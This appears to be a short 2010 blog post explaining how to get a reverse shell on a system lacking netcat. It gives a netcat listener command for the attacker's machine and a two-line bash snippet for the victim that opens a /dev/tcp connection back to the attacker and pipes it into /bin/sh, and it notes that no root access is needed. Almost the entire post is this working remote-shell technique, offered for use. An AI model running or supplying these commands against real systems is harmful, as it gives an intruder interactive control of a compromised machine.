Wednesday, September 1, 2010

Need a reverse shell? No netcat? Easy!

I was dinking around on a system without netcat installed and wanted to
get a shell instead of pushing commands through a script of parameter
overflow. Thinking about the problem, and using the tried and true
/dev/tcp device, I stitched together the following (probably not the first):
On your system:
nc -l 4444

On remote system:
exec 3<>/dev/tcp/your IP/4444
cat <&3| /bin/sh >&3

Instant reverse shell! No root required if using unprivileged ports.

0 comments: